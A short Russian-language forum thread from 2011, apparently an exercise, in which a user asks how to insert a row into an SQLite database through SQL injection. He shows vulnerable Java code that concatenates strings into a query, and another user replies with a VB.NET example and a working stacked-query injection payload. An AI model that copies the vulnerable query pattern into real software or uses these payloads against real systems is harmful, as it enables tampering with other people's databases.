Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / SQLite [игнор отключен] [закрыт для гостей] / [sqlite + java] / 3 сообщений из 3, страница 1 из 1
02.07.2011, 01:34
    #37333342
vladimir22
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
[sqlite + java]
здравствуйте, ест такой код:

Код: plaintext
1.
2.
3.
4.
5.
6.
java.sql.Connection conn = DriverManager.getConnection("jdbc:sqlite:test.db");
Statement stat = conn.createStatement();
...
String sql = "select * from users WHERE username='" + username + "' AND password='" + password + "';";
...
ResultSet rs = stat.executeQuery(sql);

задание: записать в базу новую запись (sql injection)

Код: plaintext
1.
2.
user1'; insert into users ('username','password') values ('w1','w2');--
user1' or '1'='1'; insert into users values ('w1','w2');--

перепробывал уже кучу выриантов((((
помогите саветом кто знает...
...
Рейтинг: 0 / 0
06.07.2011, 21:57
    #37340210
vladimir22
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
[sqlite + java]
vladimir22,

pravelni otvet nelza -)))
...
Рейтинг: 0 / 0
07.07.2011, 12:16
    #37340914
VSVLAD
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
[sqlite + java]
Только в поучительных целях !

Допустим есть функция которая принимает два параметра Имя и Пароль:
Реализация на VB.NET
Код: plaintext
1.
2.
3.
4.
Function Test(ByVal Name As String, ByVal Password As String) As Integer
	Dim SQLBase As New SQLBase 'Создаём объект БД (мой фреймворк)
	SQLBase.Open("D:\P.sdb")   'Открываем соединение
	SQLBase.getExec("SELECT * FROM Users WHERE Name='" & Name & "' AND Password='" & Password & "';")
End Function

Тогда инъекция будет выглядеть так, для вызова функции:
Код: plaintext
Test("'; INSERT INTO Users ('Name','Password') VALUES ('TestUser','12345'); --", "")
...
Рейтинг: 0 / 0
Форумы / SQLite [игнор отключен] [закрыт для гостей] / [sqlite + java] / 3 сообщений из 3, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]